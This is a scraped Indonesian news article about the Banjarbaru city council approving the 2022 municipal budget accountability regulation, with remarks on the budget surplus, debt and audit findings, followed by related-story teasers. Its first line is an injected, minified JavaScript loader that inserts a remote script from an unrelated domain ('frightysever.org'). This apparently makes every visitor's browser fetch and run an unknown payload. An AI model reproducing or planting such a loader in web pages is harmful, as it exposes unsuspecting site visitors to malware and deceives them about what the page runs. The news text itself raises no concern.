(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menggelar rapat paripurna pengambilan keputusan terhadap laporan keterangan pertanggungjawaban (LKPj) pelaksanaan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2022.
Rapat paripurna dipimpin Ketua DPRD Banjarbaru Fadliansyah dihadiri Wali Kota Banjarbaru HM Aditya Mufti Ariffin dan Wakil Wali Kota Banjarbaru Wartono di ruang rapat paripurna DPRD Kota Banjarbaru, Senin (17/7/2023) siang.
“Raperda LKPj tahun anggaran 2022 sudah diparipurnakan dan disahkan menjadi Perda. Sebab Perda ini menjadi acuan KUA dan PPAS Perubahan 2023,” ujar Fadliansyah.
Ketua DPRD Banjarbaru mengatakan, Sisa Lebih Perhitungan Anggaran (Silpa) tahun anggaran 2022 cukup besar, yakni mencapai Rp359 miliar. Pihaknya berharap Silpa tahun 2022 bisa dimaksimalkan, terutama untuk anggaran pembangunan dalam APBD Perubahan tahun 2023.
Baca juga: Istilah ‘Belah Semangka’ Disebut Saksi di Sidang Korupsi Proyek Bendungan Tapin
Dia menyebut, ada pokok utang yang harus dibayar sekitar Rp 60 miliar. “Itu (pokok utang) harus menjadi prioritas agar kedepan tidak menjadi catatan oleh BPK,” sebutnya.
Selain itu, rekomendasi BPK terkait pengelolaan aset Pemko Banjarbaru tidak menjadi temuan dan terulang. Termasuk penarikan retribusi parkir pada Dinas Perhubungan Kota Banjarbaru.
“Titik-tirik parkir segera ditertibkan agar ditarik retribusi secara maksimal,” ujarnya.
Selain itu, sebut Fadli, persoalan bantaran Sungai Kemuning Banjarbaru sampai saat ini juga belum tuntas. Menurutnya, harus ada tim khusus yang menertibkan hal tersebut.
Baca juga: Modus Tenaga Honorer Titipan Diungkap Menpan RB, Pantas Jumlahnya Melimpah
“Banyak temuan BPK yang sifatnya kasus berulang, mestinya itu segera diselesaikan. Termasuk kebocoran retribusi, administrasi juga segera diputuskan Perwali tentang standar harga satuan,” ujarnya.
Sementara itu, Wali Kota Banjarbaru HM Aditya Mufti Ariffin menyampaikan dengan disahkannya Perda LKPj APBD tahun anggaran 2022 ini dapat mempercepat perkembangan dan memberikan manfaat bagi masyarakatnya.
“Hari ini sudah disahkan Perda sesuai batas akhir pengumpulan mengengenai pendapatan dan anggaran daerah, semoga ini bisa berjalan lancar sehingga pembangunan di Kota Banjarbaru bisa lebih cepat, signifikan, dan kesejahteraan masyarakat bisa tercapai,” ujarnya.
Soal catatan hasil audit temuan BPK, Wali Kota menyampaikan bahwa hal itu sudah dilakukan perbaikan. Pihaknya secara cepat melakukan perbaikan dan dilaksanakan pada beberapa item.
“Catatan administrasi serta pajak retribusi yang tidak tertagih dimaksimalkan. Termasuk juga pengelolaan aset daerah, saat ini kamis sedang melakukan perbaikan,” tandasnya. (Kanalkalimantan.com/bie)
Reporter : bie
Editor : kk
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More
This website uses cookies.